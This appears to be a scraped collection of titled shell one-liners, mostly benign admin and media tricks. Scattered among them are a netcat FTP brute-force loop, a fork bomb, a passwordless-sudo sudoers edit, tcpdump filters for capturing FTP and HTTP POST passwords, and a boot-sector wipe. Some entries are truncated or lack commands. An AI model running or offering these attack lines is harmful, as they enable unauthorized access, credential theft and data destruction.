tr A-Z a-z | tr -cs a-z '\n' | sort | uniq -c
pretend to be busy in office to enjoy a cup of coffee
export GREP_COLOR='1;32'; cat /dev/urandom | hexdump -C | grep --color=auto "ca fe"
Google URL shortener
curl -s -d'&url=URL' http://goo.gl/api/url | sed -e 's/{"short_url":"//' -e 's/","added_to_history":false}/\n/'
Kill any process with one command using program name
killall <name>
Stream YouTube URL directly to mplayer.
ID=52DnUo6wJto;mplayer -fs $(echo "http://youtube.com/get_video.php?&video_id=$ID$(wget -qO - 'http://youtube.com/watch?v='$ID | perl -ne 'print $1."&asv=" if /^.*(&t=.*?)&.*$/; print "&fmt=".$1 if /^.*&fmt_map=(22).*$/')")
Take a screenshot of the focused window with a 4 second countdown
scrot -ucd4 -e 'eog $f'
Convert a single-page PDF to a hi-res PNG, at 300dpi
convert -density 300x300 input.pdf output.png
Replace underscores with spaces in filenames and dirnames, recursively into subdirs.
find . -exec rename 's/_/\ /g' {} +
Sudoers: bypass all password prompts
echo "$USER ALL=(ALL:ALL) NOPASSWD: ALL" | sudo tee -a /etc/sudoers
finding more large files
find / -xdev -size +1024 -exec ls -al {} \; | sort -r -k 5
Recursively grep for string and format output for vi(m)
mgc() { grep --exclude=cscope* --color=always -rni $1 . |perl -pi -e 's/:/ +/' |perl -pi -e 's/^(.+)$/vi $1/g' |perl -pi -e 's/:/ /'; }
Get IPv4 of eth0 for use with scripts
ip addr show eth0 | awk '/inet / {FS = "/"; $0 = $2; print $1}'
Block all IPv4 addresses that has brute forcing our ssh server
for idiots in "$(cat /var/log/auth.log|grep invalid| grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b')"; do iptables -A INPUT -s "$idiots" -j DROP; done
rgrep: recursive grep without .svn
alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep"
Go get those photos from a Picasa album
wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"content":\[{"url":"(.+?\.JPG)//){print "$1\n"}}' |wget -w1 -i -
Reverse a file
tac -r -s "." FILENAME
Give all those pictures the same name format, trailing zeros please for the right order, offset to merge different collections of pictures
OFFS=30;LZ=6;FF=$(printf %%0%dd $LZ);for F in *.jpg;do NF="${F%.jpg}";NF="${NF/#+(0)/}";NF=$[NF+OFFS];NF="$(printf $FF $NF)".jpg;if [ "$F" != "$NF" ];then mv -iv "$F" "$NF";fi;done
List mp3 files with less than 320 kbps bitrate.
find -name '*.mp3' -exec mp3info {} -p "%F: %r kbps\n" \; | sort | sed '/320 kbps/d'
Use AWS CLI and JQ to get a list of instances sorted by launch time
aws ec2 describe-instances | jq '.["Reservations"]|.[]|.Instances|.[]|.LaunchTime + " " + .InstanceId' | sort -n
Don't like the cut command? Tired of typing awk '{print $xxx}', try this
awp () { awk '{print $'$1'}'; }
Root shell
sudo -i
check the filesystem and use a progress bar
e2fsck -C -v /dev/device
search google on os x
function google () { st="$@"; open "http://www.google.com/search?q=${st}"; }
faster version of ls *
echo *
vi a new file with execution mode
vix(){ vim +'w | set ar | silent exe "!chmod +x %" | redraw!' $@; }
Move all files between to date
sudo find . -maxdepth 1 -cnewer olderFilesNameToMove -and ! -cnewer newerFileNameToMove -exec mv -v {} /newDirectory/ \;
Mutt - Change mail sender.
export EMAIL=caiogore@domain.com && mutt -s "chave webmail" destination@domain.com < /dev/null
Google URL shortener
python -c 'import googl; print googl.Googl("<your_google_api_key>").shorten("'$someurl'")[u"id"]'
Fork bomb (don't actually execute)
:(){ :|:& };:
List folders containing only PNGs
find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0$'
Random unsigned integer
od -N 4 -t uL -An /dev/random | tr -d " "
View the newest xkcd comic.
eog `curl -s http://xkcd.com/ | sed -n 's/<h3>Image URL.*: \(.*\)<\/h3>/\1/p'`
Calculate md5 sums for every file in a directory tree
find . -type f -exec md5sum {} \; > sum.md5
Stream audio over ssh
ssh [user]@[address] "mpg321 -" < [file].mp3
Show the number of current httpd processes
pgrep -c httpd
Find all active ip's in a subnet
nmap -v -sP 192.168.0.0/16 10.0.0.0/8
Socksify any program to avoid restrictive firwalls
tsocks <program>
Print stack trace of a core file without needing to enter gdb interactively
gdb --batch --quiet -ex "thread apply all bt full" -ex "quit" ${exe} ${corefile}
Don't spam root. Log your cronjob output to syslog
*/5 * * * * root /usr/local/nagios/sbin/nsca_check_disk 2>&1 |/usr/bin/logger -t nsca_check_disk
Disable the ping response
sudo -s "echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all"
Upload a video to youtube
google youtube post --title "My\ Video" --category Education ~/myvideo.avi
Generate a random left-hand password
Test network speed without wasting disk
dd if=/dev/zero bs=4096 count=1048576 | ssh user@host.tld 'cat > /dev/null'
Display which distro is installed
lsb_release -a
Grep log between range of minutes
grep -i "$(date +%b" "%d )13:4[0-5]" syslog
Grep syslog today last hour
grep -i "$(date +%b\ %d\ %H)" syslog
Play 89.3 @TheCurrent and get system notifications on song changes.
mplayer http://minnesota.publicradio.org/tools/play/streams/the_current.pls < /dev/null | grep --line-buffered "StreamTitle='.*S" -o | grep --line-buffered "'.*'" -o > mus & tail -n0 -f mus | while read line; do notify-send "Music Change" "$line";done
Get size of terminal
resize
Merge tarballs
cat 1.tar.gz 2.tar.gz > 3.tar.gz; tar zxvfi 3.tar.gz
Netcat ftp brute force
cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo "QUIT">>ftp;nc 192.168.77.128 21 <ftp>ftp2;echo "trying: $lines";cat ftp2|grep "230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done
Produce a pseudo random password with given length in base 64
openssl rand -base64 <length>
Run a command for a given time
very_long_command& sleep 10; kill $!
processes per user counter
ps aux |awk '{$1} {++P[$1]} END {for(a in P) if (a !="USER") print a,P[a]}'
Jump to line X in file in Nano.
nano +X foo
SH
shmore(){ local l L M="`echo;tput setab 4&&tput setaf 7` --- SHMore --- `tput sgr0`";L=2;while read l;do echo "${l}";((L++));[[ "$L" == "${LINES:-80}" ]]&&{ L=2;read -p"$M" -u1;echo;};done;}
bash pause command
read -sn1 -p "Press any key to continue..."; echo
Sort output by column
ps aux | sort -nk 6
Protect your eye
redshiftgui -o -b 0.5
Capture video of a linux desktop
ffmpeg -video_size 1024x768 -framerate 25 -f x11grab -i :0.0+100,200 output.mp4
Find the fastest server to disable comcast's DNS hijacking
sudo netselect -v -s3 $(curl -s http://dns.comcast.net/dns-ip-addresses2.php | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq)
Generate random valid mac addresses
for i in {1..6}; do printf "%0.2X:" $[ $RANDOM % 0x100 ]; done | sed 's/:$/\n/'
Empty Bind9 cache
rndc flush
find out which directories in /home have the most files currently open
lsof |awk ' {if ( $0 ~ /home/) print substr($0, index($0,"/home") ) }'|cut -d / -f 1-4|sort|uniq -c|sort -bgr
lazy SQL QUERYING
alias QUERY='psql -h $MYDBHOST -p 5432 -d $MYDB -U $MYLOGIN --no-align'
My Git Tree Command!
git log --graph --oneline --all
Find broken symlinks
find /path/to/search -xtype l
Replace php short open tags
find . -name '*.phtml' | xargs perl -pi -e 's/(?!(<\?(php|xml|=)))<\?/<\?php/g;'
Convert clipboard HTML content to markdown (for github, trello, etc)
xclip -selection clipboard -o -t text/html | pandoc -f html -t markdown_github -
Make alias pemanent fast
PERMA () { echo "$@" >> ~/.bashrc; }
Gathering all MAC's in your local network
sudo arp-scan --interface=eth0 -l
dd with progress bar and statistics to gzipped image
export BLOCKSIZE='sudo blockdev --getsize64 /dev/sdc' && sudo dd if=/dev/sdc bs=1MB | pv -s $BLOCKSIZE | gzip -9 > USB_SD_BACKUP.img.gz
Convert (almost) any video file into webm format for online html5 streaming
ffmpeg -i input_file.mp4 -strict experimental output_file.webm
Replace all backward slashes with forward slashes
echo 'C:\Windows\' | sed 's|\\|\/|g'
Output files without comments or empty lines
grep -v "^\($\|#\)" <filenames>
Show what PID is listening on port 80 on Linux
netstat -alnp | grep ::80
lazy SQL QUERYING
psql
Dock Thunderbird in system tray and hide main window
alltray -H thunderbird
Create Solid Archive (best compression) with 7z
7z a -mx=9 -ms=on archive.7z files_for_archiving/
list the top 15 folders by decreasing size in MB
du -xB M --max-depth=2 /var | sort -rn | head -n 15
Find partition name using mount point
lsblk | grep <mountpoint>
show current directory
xdg-open .
Scan for nearby Bluetooth devices.
hcitool scan
Print a row of characters across the terminal
seq -s'#' 0 $(tput cols) | tr -d '[:digit:]'
Makes the permissions of file2 the same as file1
getfacl file1 | setfacl --set-file=- file2
Avoids ssh timeouts by sending a keep alive message to the server every 60 seconds
echo 'ServerAliveInterval 60' >> /etc/ssh/ssh_config
Capture video of a linux desktop
ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -r 25 -i :0.0 -sameq /tmp/out.mpg > /root/howto/capture_screen_video_ffmpeg
Show the PATH, one directory per line
printf ${PATH//:/\\n}
Convert files from DOS line endings to UNIX line endings
fromdos *
nagios wrapper for any script/cron etc
CMD="${1}"; LOG="${2}"; N_HOST="${3}"; N_SERVICE="${4}"; ${CMD} >${LOG} 2>&1; EXITSTAT=${?}; OUTPUT="$(tail -1 ${LOG})";echo "${HOSTNAME}:${N_SERVICE}:${EXITSTAT}:${OUTPUT}" | send_nsca -H ${N_HOST} -d : -c /etc/nagios/send_nsca.cfg >/dev/null 2>&1
Search $PATH for a command or something similar
find ${PATH//:/ } -name \*bash\*
List .log files open by a pid
lsof -p 1234 | grep -E "\.log$" | awk '{print $NF}'
Save xkcd to a pdf with captions
curl -sL xkcd.com | grep '<img [^>]*/><br/>' | sed -r 's|<img src="(.*)" title="(.*)" alt="(.*)" /><br/>|\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1) | convert - -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\"" pdf:- > xkcd.pdf
Get all mac address
ip link show
Lists installed kernels
ls -1 /lib/modules
Print Memory Utilization Percentage For a specific process and it's children
TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm | grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"
a function to create a box of '=' characters around a given string.
box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; }
Show top committers for SVN repositority for today
svn log -r {`date "+%Y-%m-%d"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
Google Spell Checker
spellcheck(){ typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>" https://www.google.com/tbproxy/spell|sed -n '/s="[0-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*'||echo -e "OK");}
How to secure delete a file
shred -u -z -n 17 rubricasegreta.txt
Show some trivia related to the current date
calendar
Erase a word
Give to anyone a command to immediatly find a particular part of a man.
man <COMMAND> | less +'/pattern'
Query Wikipedia via console over DNS
mwiki () { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }
Show git branches by date - useful for showing active branches
for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k"`\\t"$k";done|sort
Replace space in filename
rename "s/ *//g" *.jpg
Chage default shell for all users [FreeBSD]
cd /usr/home && for i in *;do chsh -s bash $i;done
Display a random crass ascii art from www.asciiartfarts.com
wget -qO - http://www.asciiartfarts.com/random.cgi | sed -n '/<pre>/,/<\/pre>/p' | sed -n '/<table*/,/<\/table>/p' | sed '1d' | sed '$d' | recode html..ascii
Generate random password on Mac OS X
cat /dev/urandom | env LC_CTYPE=C tr -dc a-zA-Z0-9 | head -c 16; echo
Get line number 12 (or n) from a file
sed -n '12p;13q' file
Go to the Nth line of file
sed -n 13p /etc/services
Show last changed files in a directory
ls -t | head
Advanced ls using find to show much more detail than ls ever could
alias LS='find -mount -maxdepth 1 -printf "%.5m %10M %#9u:%-9g %#5U:%-5G %TF_%TR %CF_%CR %AF_%AR %#15s [%Y] %p\n" 2>/dev/null'
Find where a kind of file is stored
find . -name '*.desktop' | sed s/[^/]*\.desktop$// | uniq -c | sort -g
Query wikipedia over DNS
wiki() { local IFS=_; dig +short txt "${*^}".wp.dg.cx; }
Display EPOCH time in human readable format using AWK.
$ date --date='@1268727836'
List PHP-FPM pools by total CPU usage
ps axo pcpu,args | awk '/[p]hp.*pool/ { sums[$4] += $1 } END { for (pool in sums) { print sums[pool], pool } }' | sort -rn | column -t
Search for files older than 30 days in a directory and list only their names not the full path
find /var/www/html/ -type f -mtime +30 -exec basename {} \;
Export MS Access mdb files to csv
mdb-export -H -I -R database.mdb table >table.sql
Fix VirtualBox error
sudo usermod -a -G vboxusers <username>
Generate a random password 30 characters long
strings /dev/urandom | tr -cd '[:alnum:]' | fold -w 30 | head -n 1
Put public IP address in a variable
ip=$(curl ip.pla1.net)
last.fm rss parser
awk '/<link>/{gsub(/.*<link>|<\/link>.*/,"");print "<li><a href=\042"$0"\042> "t"</a>" } /<title>/{gsub(/.*<title>|<\/title>.*/,"");t=$0 }' file
Erase a word
<ALT> <BACKSPACE>
Convert number of bytes to human readable filesize
human_filesize() { awk -v sum="$1" ' BEGIN {hum[1024^3]="Gb"; hum[1024^2]="Mb"; hum[1024]="Kb"; for (x=1024^3; x>=1024; x/=1024) { if (sum>=x) { printf "%.2f %s\n",sum/x,hum[x]; break; } } if (sum<1024) print "1kb"; } '}
Prints per-line contribution per author for a GIT repository
git ls-files | xargs -n1 git blame --line-porcelain | sed -n 's/^author //p' | sort -f | uniq -ic | sort -nr
Do we use: 'Wayland' OR 'x11'
printf 'Session is: %s\n' "${DISPLAY:+X11}${WAYLAND_DISPLAY:+WAYLAND}"
Counts number of lines (in source code excluding comments)
find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l
Blue Matrix
while [ 1 -lt 2 ]; do i=0; COL=$((RANDOM%$(tput cols)));ROW=$((RANDOM%$(tput cols)));while [ $i -lt $COL ]; do tput cup $i $ROW;echo -e "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c1-1) 2>/dev/null ; i=$(expr $i + 1); done; done
remove *.jpg smaller than 500x500
identify -format '%w %h %f\n' *.jpg | awk 'NF==3&&$1<500&&$2<500{print $3}' | xargs -r rm
urldecode with AWK
awk -niord '{printf RT?$0chr("0x"substr(RT,2)):$0}' RS=%..
Check executable shared library usage
ldd <executable binary>
mount an iso
mount -o loop -t iso9660 my.iso /mnt/something
climagic's New Year's Countdown clock
while V=$((`date +%s -d"2010-01-01"`-`date +%s`));do if [ $V == 0 ];then figlet 'Happy New Year!';break;else figlet $V;sleep 1;clear;fi;done
Empty a file
> foobar.txt
Copy a file over SSH without SCP
ssh HOST cat < LOCALFILE ">" REMOTEFILE
Sniffing network to generate a pcap file in CLI mode on a remote host and open it via local Wireshark ( GUI ).
tcpdump -v -i <INTERFACE> -s 0 -w /tmp/sniff.pcap port <PORT> !!! Example "On the remote side
determine if tcp port is open
nc -zw2 www.example.com 80 && echo open
Determining the excat memory usages by certain PID
pmap -d <<pid>>
Match a URL
egrep 'https?://([[:alpha:]]([-[:alnum:]]+[[:alnum:]])*\.)+[[:alpha:]]{2,3}(:\d+)?(/([-\w/_\.]*(\?\S+)?)?)?'
Script executes itself on another host with one ssh command
[ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client
Find all dot files and directories
echo .*
Short Information about loaded kernel modules
modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep/!d'
aptitude easter eggs
aptitude moo
Create date based backups
backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }
Press Any Key to Continue
read -sn 1 -p 'Press any key to continue...';echo
enumerate with padding
echo {001..5}
Postpone a command [zsh]
tail, with specific pattern colored
tail -F file | egrep --color 'pattern|$'
Count the total number of files in each immediate subdirectory
find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn
Transforms a file to all uppercase.
tr '[:lower:]' '[:upper:]' <"$1"
print crontab entries for all the users that actually have a crontab
for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done
sort lines by length
awk '{print length, $0;}' | sort -nr
Refresh the cache of font directory
sudo fc-cache -f -v
Convert unix timestamp to date
date -ud "1970-01-01 + 1234567890 seconds"
Verify MD5SUMS but only print failures
md5sum --check MD5SUMS | grep -v ": OK"
Change newline to space in a file just using echo
echo $(</tmp/foo)
Route outbound SMTP connections through a addtional IP address rather than your primary
iptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH
pass the output of some command to a new email in the default email client
somecommand | open "mailto:?body=$(cat - | stripansi | urlencode)"
unpack all rars in current folder
unrar e *.rar
View all images
find -iname '*.jpg' -print0 | xargs -0 feh -d
Recursively move folders/files and preserve their permissions and ownership perfectly
cd /source/directory; tar cf - . | tar xf - -C /destination/directory
Search through files, ignoring .svn
grep <pattern> -R . --exclude-dir='.svn'
Download a file securely via a remote SSH server
file=ftp://ftp.gimp.org/pub/gimp/v2.6/gimp-2.6.10.tar.bz2; ssh server "wget $file -O -" > $PWD/${file##*/}
while using lxde and being blinded by your laptop screen, you can type:
xbacklight -set 50
Generate a correct mac addr.
od -An -N6 -tx1 /dev/urandom |sed -e 's/^ *//' -e 's/ */:/g' -e 's/:$//' -e 's/^\(.\)[13579bdf]/\10/'
Get a range of SVN revisions from svn diff and tar gz them
tar cvfz changes.tar.gz --exclude-vcs `svn diff -rM:N --summarize . | grep . | awk '{print $2}' | grep -E -v '^\.$'`
Run a command after the process you choose finishes
tail --pid="$(ps -A -o pid,args | fzf | awk '{print $1}')" -f /dev/null && echo DONE
Change the default editor for modifying the sudoers list.
sudo update-alternatives --config editor
Report full partitions from a cron
df -l | grep -e "9.%" -e "100%"
Detach a process from the current shell
nohup ping -i1 www.google.com &
Execute MySQL query send results from stdout to CSV
mysql -umysqlusername -pmysqlpass databsename -B -e "select * from \`tabalename\`;" | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > mysql_exported_table.csv
Convert unix timestamp to date
date -d @1234567890
Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)
svn info | grep '^URL:' | egrep -o '(tags|branches)/[^/]+|trunk' | egrep -o '[^/]+$'
Safe Delete
shred -n33 -zx file; rm file
Insert the last argument of the previous command
<ALT> .
Find the annual salary of any White House staffer.
curl -s "http://www.socrata.com/api/views/vedg-c5sb/rows.json?search=Axelrod" | grep "data\" :" | awk '{ print $17 }'
Get the header of a website
curl -sI http://blog.binfalse.de
find established tcp connections without using netstat!!
lsof -i -n | grep ESTABLISHED
Better recursive grep with pretty colors… requires ruby and gems (run: "gem install rak")
rak "what you're searching for" dir/path
diff files while disregarding indentation and trailing white space
diff <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file1) <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file2)
Yet Another Rename (bash function)
rename(){ txtToReplace=${1} ; replacementTxt=${2} ; shift 2 ; files=${@} ; for file in $files ; do mv ${file} ${file/${txtToReplace}/${replacementTxt}} ; done ; }
send kernel log (dmesg) notifications to root via cron
(crontab -l; echo '* * * * * dmesg -c'; ) | crontab -
Matrix Style
check the sample output below, the command was too long :(
convert .bin / .cue into .iso image
bchunk IMAGE.bin IMAGE.cue IMAGE.iso
Visualizing system performance data
(echo "set terminal png;plot '-' u 1:2 t 'cpu' w linespoints;"; sudo vmstat 2 10 | awk 'NR > 2 {print NR, $13}') | gnuplot > plot.png
Test file system performance
bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted disck>
Record audio and video from webcam using mencoder
mencoder tv:// -tv driver=v4l2:width=800:height=600:device=/dev/video0:fps=30:outfmt=yuy2:forceaudio:alsa:adevice=hw.2,0 -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800 -ffourcc xvid -oac mp3lame -lameopts cbr=128 -o output.avi
random xkcd comic
display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)')"
Compute running average for a column of numbers
awk '{avg += ($1 - avg) / NR;} END { print avg; }'
sort lines by length
perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' < /usr/share/dict/words | tail
Create a zip file ignoring .svn files
zip -r foo.zip DIR -x "*/.svn/*"
Skip over .svn directories when using the
find . -name .svn -prune -o -print
Who needs pipes?
B <<< $(A)
Unlock your KDE4.3 session remotely
qdbus org.kde.screenlocker /MainApplication quit
Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 | xargs rm -vf
Remove empty directories
find . -type d -empty -delete
Terminal redirection
script -f /dev/pts/3
insert ip range using vim
:for i in range(1,255) | .put='192.168.0.'.i | endfor
Check which files are opened by Firefox then sort by largest size.
FFPID=$(pidof firefox-bin) && lsof -p $FFPID | awk '{ if($7>0) print ($7/1024/1024)" MB -- "$9; }' | grep ".mozilla" | sort -rn
Find the process you are looking for minus the grepped one
ps -C command
Regex to remove HTML-Tags from a file
sed -e :a -e 's/<[^>]*>//g;/</N;//ba' index.html
Get a regular updated list of zombies
watch "ps auxw | grep [d]efunct"
Testing php configuration
php -i
A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
strings /dev/mem|less
Go to parent directory of filename edited in last command
cd `dirname $_`
Conficker Detection with NMAP
nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES
Sort IP addresses
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses
A DESTRUCTIVE command to render a drive unbootable
dd if=/dev/zero of=/dev/fd0 bs=512 count=1
parse html/stdin with lynx
alias html2ascii='lynx -force_html -stdin -dump -nolist'
Shows size of dirs and files, hidden or not, sorted.
du --max-depth=1 -h * |sort -n -k 1 |egrep 'M|G'
find text in a file
find /directory/to/search/ -type f -print0 | xargs -0 grep "findtext"
Convert AVI to iPhone MP4
ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar 24000 -ab 64 -ac 2 [destination].mp4
convert pdf into multiple png files
gs -sDEVICE=pngalpha -sOutputFile=<filename>%d.png -r<resolution> <pdffile>
Stat each file in a directory
find . -maxdepth 1 -type f | xargs stat
Find files and list them sorted by modification time
find -type f -print0 | xargs -r0 stat -c %y\ %n | sort
Remove invalid key from the known_hosts file for the IP address of a host
ssh-keygen -R $(dig +short host.domain.tld)
Display unique values of a column
awk '{ a[$2]++ } END { for (b in a) { print b } }' file
Capture FTP Credentials and Commands
sudo tcpdump -nn -v port ftp or ftp-data
List of all vim features
vim --version | grep -P '^(\+|\-)' | sed 's/\s/\n/g' | grep -Pv '^ ?$'
Convert .flv to .avi
mencoder input.flv -ovc lavc -oac mp3lame -o output.avi
Remove last line from files recursively
find . -name "*.php" -type f -exec sed -i "\$d" '{}' \;
OpenSSL one line CSR & Key generation
openssl req -nodes -newkey rsa:2048 -keyout server.key -out server.csr -subj "/C=BR/ST=State/L=City/O=Company Inc./OU=IT/CN=domain.com"
Extract HTTP Passwords in POST Requests
sudo tcpdump -s 0 -A -n -l | egrep -i "POST /|pwd=|passwd=|password=|Host:"
Convert spaces in file names to underscores
rename 'y/ /_/' *
Batch rename extension of all files in a folder, in the example from .txt to .md
for f in *.txt; do mv $f `basename $f .txt`.md; done;
Get first Git commit hash
git rev-list --max-parents=0 HEAD
Calculate files' size
ls -l | head -n 65535 | awk '{if (NR > 1) total += $5} END {print total/(1024*1024*1024)}'
lists files and folders in a folder
tree -i -L 1
This is N5 sorta like rot13 but with numbers only
echo "$1" | xxd -p | tr '0-9' '5-90-6'; echo "$1" | tr '0-9' '5-90-6' | xxd -r -p
Get Nyan'd
telnet miku.acm.uiuc.edu
Rename many files in directories and subdirectories
find . -type d -print0 | while read -d $'\0' dir; do cd "$dir"; echo " process $dir"; find . -maxdepth 1 -name "*.ogg.mp3" -exec rename 's/.ogg.mp3/.mp3/' {} \; ; cd -; done
find and delete empty directories recursively
find . -depth -type d -empty -exec rmdir -v {} +
Use Linux coding style in C program
indent -linux helloworld.c
create an incremental backup of a directory using hard links
rsync -a --delete --link-dest=../lastbackup $folder $dname/
concat multiple videos into one (and add an audio track)
cat frame/*.mpeg | ffmpeg -i $ID.mp3 -i - -f dvd -y track/$ID.mpg 2>/dev/null
How many files in the current directory ?
find . -maxdepth 1 -type f | wc -l
Delete all but latest file in a directory
ls -pt1 | sed '/.*\//d' | sed 1d | xargs rm
create directory and set owner/group/mode in one shot
install -o user -g group -m 0700 -d /path/to/newdir
Search Google from the command line
curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80
Display ncurses based network monitor
nload -u m eth0
List programs with open ports and connections
netstat -ntauple
quickly backup or copy a file with bash
cp -bfS.bak filename filename
Check if network cable is plugged in and working correctly
mii-tool eth0
On-the-fly unrar movie in .rar archive and play it, does also work on part archives.
unrar p -inul foo.rar|mplayer -
Get all possible problems from any log files
grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*
Twit Amarok "now playing" song
curl -u <user>:<password> -d status="Amarok, now playing: $(dcop amarok default nowPlaying)" http://twitter.com/statuses/update.json
For a $FILE, extracts the path, filename, filename without extension and extension.
FILENAME=${FILE##*/};FILEPATH=${FILE%/*};NOEXT=${FILENAME%\.*};EXT=${FILE##*.}
swap stdout and stderr
$command 3>&1 1>&2 2>&3
Huh? Where did all my precious space go ?
ls -la | sort -k 5bn
change exif data in all jpeg's
for f in *.jpg; do exif --ifd=0 --tag=0x0110 --set-value="LOMO LC-A" --output=$f $f; exif --ifd=0 --tag=0x010f --set-value="LOMO" --output=$f $f; done }
Setup an ssh tunnel
ssf -f -N -L 4321:home.network.com:25 user@home.network.com
Change tha mac adresse
sudo ifconfig eth0 hw ether 00:01:02:03:04:05
Monitor logs in Linux using Tail
find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/:$//g' | grep -v '[0-9]$' | xargs tail -f
Print permanent subtitles on a video
transcode -i myvideo.avi -x mplayer="-sub myvideo.srt" -o myvideo_subtitled.avi -y xvid
Go to the previous sibling directory in alphabetical order
cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)"
Hostname tab-completion for ssh
function autoCompleteHostname() { local hosts; local cur; hosts=($(awk '{print $1}' ~/.ssh/known_hosts | cut -d, -f1)); cur=${COMP_WORDS[COMP_CWORD]}; COMPREPLY=($(compgen -W '${hosts[@]}' -- $cur )) } complete -F autoCompleteHostname ssh
Random quote from Borat – no html parsing
curl -s "http://smacie.com/randomizer/borat.txt" | shuf -n 1 -
search for files or directories, then show a sorted list of just the unique directories where the matches occur
for i in $(locate your_search_phrase); do dirname $i; done | sort | uniq
host - DNS lookup utility
host google.com
Leap year calculation
leapyear() { [ $(date -d "Dec 31, $1" +%j) == 366 ] && echo leap || echo not leap; }
git pull all repos
find ~ -maxdepth 2 -name .git -print | while read repo; do cd $(dirname $repo); git pull; done
Get info about a GitHub user
curl http://github.com/api/v1/yaml/git
sendEmail - easiest commandline way to send e-mail
sendEmail -f anything@anithing.com -u subject of nessage -t youfriend@hisdomain -m message to him
reverse order of file
tac $FILE
Display all shell functions set in the current shell environment
builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'
Backup a filesystem to a remote machine and use cstream to throttle bandwidth of the backup
nice -n19 dump -0af - /<filesystem> -z9|gpg -e -r <gpg key id>|cstream -v 1 -t 60k|ssh <user@host> "cat > backup.img"
find out how much space are occuipied by files smaller than 1024K (sic) - improved
find dir -size -1024k -type f -print0 | du --files0-from - -bc
Find Duplicate Files, excluding .svn-directories (based on size first, then MD5 hash)
find -type d -name ".svn" -prune -o -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type d -name ".svn" -prune -o -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
disassemble binary shellcode
objdump -b binary -m i386 -D shellcode.bin
Get info about a GitHub project
curl http://github.com/api/v1/yaml/search/vim
Reconstruct standard permissions for directories and files in current directory
chmod -R u=rwX,g=rX,o=rX .
df without line wrap on long FS name
df -PH|column -t
Server load and process monitoring
watch -n1 "uptime && ps auxw|grep http|grep -v grep | grep -v watch|wc -l && netstat -ntup|grep :80 |grep ESTABLISHED|wc -l && netstat -ntup|grep :80|grep WAIT|wc -l && free -mo && ps -ylC httpd --sort:rss|tail -3|awk '{print \$8}'"
Count number of files in a directory
ls|wc -l
Send a file to a pastebin from STDIN or a file, with a single function
sprunge() { curl -F 'sprunge=<-' http://sprunge.us < "${1:-/dev/stdin}"; }
Download files linked in a RSS feed
curl $1 | grep -E "http.*\.mp3" | sed "s/.*\(http.*\.mp3\).*/\1/" | xargs wget
Display or use a random file from current directory via a small bash one-liner
$ i=(*);echo ${i[RANDOM%(${#i[@]}+1)]]}
Recursively remove all files in a CVS directory
for dir in $(find -type d ! -name CVS); do for file in $(find $dir -maxdepth 1 -type f); do rm $file; cvs delete $file; done; done
Merge various PDF files
pdftk first.pdf second.pdf cat output output.pdf
To find the count of each open file on a system (that supports losf)
